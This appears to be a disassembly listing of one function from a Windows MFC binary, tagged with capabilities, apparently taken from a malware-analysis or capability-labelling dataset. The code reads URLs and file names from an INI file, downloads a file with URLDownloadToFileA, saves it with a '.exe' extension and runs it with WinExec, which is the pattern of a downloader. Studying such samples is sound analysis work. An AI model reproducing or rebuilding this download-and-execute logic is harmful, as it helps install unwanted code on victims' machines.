Function at 0x404f02
Capabilities:
Create process on windows
Download url
Read .ini file
Receive data

Disassembly:
mov eax, 0x407a32
call fcn.00407400
sub esp, 0x210
and byte [ebp - 0x1e], 0
push ebx
push esi
push edi
push dword [ecx + 0x78]
xor eax, eax
lea edi, [ebp - 0x1d]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
stosb byte es:[edi], al
lea eax, [ebp - 0x1e]
push 2
mov esi, 0x40a7a8
push eax
push esi
push str.isfile
push str.file
mov dword [ebp - 0x28], ecx
call ebx
lea eax, [ebp - 0x1e]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
test eax, eax
pop ecx
je 0x405531
and byte [ebp - 0xac], 0
push 0xd
pop ecx
xor eax, eax
lea edi, [ebp - 0xab]
push 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop edi
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x50], edi
call sub.MFC42.DLL_CString::CString_1
and dword [ebp - 4], 0
push edi
lea eax, [ebp - 0x18]
push 0x40a280
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [ebp - 0x30]
push 0x40abf0
call sub.MFC42.DLL_CString::CString_2
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x30]
push eax
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [ebp - 0x28]
push dword [eax + 0x78]
lea eax, [ebp - 0xac]
push 0x38
push eax
push esi
push dword [ebp - 0x30]
push str.file
call ebx
lea eax, [ebp - 0xac]
lea ecx, [ebp - 0x2c]
push eax
call sub.MFC42.DLL_CString::CString_2
mov byte [ebp - 4], 2
mov byte [ebp - 0xd], 1
push esi
push dword [ebp - 0x2c]
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
test eax, eax
pop ecx
je 0x40550d
and byte [ebp - 0xe4], 0
push 0xd
pop ecx
xor eax, eax
lea edi, [ebp - 0xe3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x34]
add eax, 0x7c
push eax
call sub.MFC42.DLL_CString::CString_2
push 0x40adec
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::operator
push 1
lea ecx, [ebp - 0x24]
pop edi
mov dword [ebp - 0x3c], edi
call sub.MFC42.DLL_CString::CString_1
push edi
lea eax, [ebp - 0x24]
push 0x40a280
push eax
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::Format
add esp, 0xc
mov edi, str.ofile
lea ecx, [ebp - 0x14]
push edi
call sub.MFC42.DLL_CString::CString_2
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x14]
push eax
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::operator_1
push dword [ebp - 0x34]
lea eax, [ebp - 0xe4]
push 0x38
push eax
push esi
push dword [ebp - 0x14]
push edi
call ebx
lea eax, [ebp - 0xe4]
lea ecx, [ebp - 0x38]
push eax
call sub.MFC42.DLL_CString::CString_2
push esi
mov byte [ebp - 4], 6
push dword [ebp - 0x38]
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
test eax, eax
pop ecx
je 0x40511f
push dword [ebp - 0x2c]
push dword [ebp - 0x38]
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
test eax, eax
pop ecx
jne 0x4050b7
and byte [ebp - 0xd], al
inc dword [ebp - 0x3c]
lea eax, [ebp - 0x24]
push dword [ebp - 0x3c]
push 0x40a280
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [ebp - 0x14]
push edi
call fcn.004072d4
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
push dword [ebp - 0x34]
lea eax, [ebp - 0xe4]
push 0x38
push eax
push esi
push dword [ebp - 0x14]
push edi
call ebx
lea eax, [ebp - 0xe4]
lea ecx, [ebp - 0x38]
push eax
call fcn.004072d4
push esi
push dword [ebp - 0x38]
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
test eax, eax
pop ecx
jne 0x4050a2
cmp byte [ebp - 0xd], 1
jne 0x40547b
and byte [ebp - 0x11c], 0
push 0xd
pop ecx
xor eax, eax
lea edi, [ebp - 0x11b]
push 0x40abf0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x48]
stosb byte es:[edi], al
call sub.MFC42.DLL_CString::CString_2
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x48]
push eax
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [ebp - 0x28]
push dword [eax + 0x78]
lea eax, [ebp - 0x11c]
push 0x38
push eax
push esi
push dword [ebp - 0x48]
push str.file
call ebx
lea ecx, [ebp - 0x54]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 8
call fcn.0040705f
lea eax, [ebp - 0x70]
lea ecx, [ebp - 0x60]
push eax
mov byte [ebp - 4], 9
call fcn.0040708b
push eax
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0xa
call fcn.004072ce
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 9
call sub.MFC42.DLL_CString::CString
push 0x40b254
lea ecx, [ebp - 0x44]
call fcn.004072c8
push str._ifclick.asp_actionsofturldz
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xb
call sub.MFC42.DLL_CString::operator
and byte [ebp - 0x19c], 0
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0x19b]
push 0x40adc0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x40]
stosb byte es:[edi], al
call sub.MFC42.DLL_CString::CString_2
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x40]
push eax
mov byte [ebp - 4], 0xc
call sub.MFC42.DLL_CString::operator_1
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x19c]
push dword [edi + 0x78]
push 0x80
push eax
push esi
push dword [ebp - 0x40]
push str.file
call ebx
lea eax, [ebp - 0x19c]
push eax
lea ecx, [ebp - 0x44]
call sub.MFC42.DLL_CString::operator
push ecx
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0x74], esp
push eax
call fcn.004072c8
lea eax, [ebp - 0x58]
push eax
call fcn.004036ad
push 0x40a83c
mov byte [ebp - 4], 0xd
push dword [ebp - 0x58]
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 0x10
test eax, eax
jne 0x405431
lea eax, [edi + 0x7c]
lea ecx, [ebp - 0x1c]
push eax
call sub.MFC42.DLL_CString::CString_2
push 0x40a3d0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0xe
call sub.MFC42.DLL_CString::operator
lea eax, [ebp - 0x40]
lea ecx, [ebp - 0x1c]
push eax
call sub.MFC42.DLL_CString::operator_1
push str..exe
lea ecx, [ebp - 0x1c]
call sub.MFC42.DLL_CString::operator
xor eax, eax
lea ecx, [ebp - 0x19c]
push eax
push eax
push dword [ebp - 0x1c]
push ecx
push eax
call sub.urlmon.dll_URLDownloadToFileA
push 1
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_WinExec]
mov edi, eax
cmp edi, 0x1f
ja 0x4052e3
lea ecx, [ebp - 0x68]
call sub.MFC42.DLL_CString::CString_1
push edi
lea eax, [ebp - 0x68]
push 0x40a280
push eax
mov byte [ebp - 4], 0xf
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0xe
call sub.MFC42.DLL_CString::CString
and byte [ebp - 0x21c], 0
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0x21b]
push str.xiazaiyanshi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x4c]
stosb byte es:[edi], al
call sub.MFC42.DLL_CString::CString_2
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x4c]
push eax
mov byte [ebp - 4], 0x10
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [ebp - 0x28]
push dword [eax + 0x78]
lea eax, [ebp - 0x21c]
push 0x80
push eax
push esi
push dword [ebp - 0x4c]
push str.file
call ebx
push 8
call sub.MFC42.DLL_operatornew
mov edi, eax
pop ecx
mov dword [ebp - 0x74], edi
test edi, edi
mov byte [ebp - 4], 0x11
je 0x405353
lea ecx, [edi + 4]
call sub.MFC42.DLL_CString::CString_1
jmp 0x405355
xor edi, edi
lea eax, [ebp - 0x21c]
mov byte [ebp - 4], 0x10
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov dword [edi], eax
pop ecx
lea eax, [ebp - 0x1c]
lea ecx, [edi + 4]
push eax
call fcn.004072ce
xor eax, eax
push eax
push eax
push eax
push eax
push edi
push 0x404774
call sub.MFC42.DLL_AfxBeginThread
mov edi, str.ofile
lea ecx, [ebp - 0x14]
push edi
call fcn.004072d4
push dword [ebp - 0x3c]
lea eax, [ebp - 0x24]
push 0x40a280
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
push dword [ebp - 0x34]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
lea ecx, [ebp - 0x64]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x12
call fcn.0040705f
lea eax, [ebp - 0x6c]
lea ecx, [ebp - 0x5c]
push eax
mov byte [ebp - 4], 0x13
call fcn.0040708b
push eax
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x14
call fcn.004072ce
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x13
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x12
call fcn.00407084
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x10
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0xe
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0xd
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0xc
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xb
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 8
call fcn.00407084
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
jmp 0x40547f
mov byte [ebp - 0xd], 1
inc dword [ebp - 0x50]
lea eax, [ebp - 0x18]
push dword [ebp - 0x50]
push 0x40a280
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0xc
lea ecx, [ebp - 0x30]
push 0x40abf0
call fcn.004072d4
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x30]
push eax
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [ebp - 0x28]
push dword [eax + 0x78]
lea eax, [ebp - 0xac]
push 0x38
push eax
push esi
push dword [ebp - 0x30]
push str.file
call ebx
lea eax, [ebp - 0xac]
lea ecx, [ebp - 0x2c]
push eax
call fcn.004072d4
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
jmp 0x404fdf
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
and byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret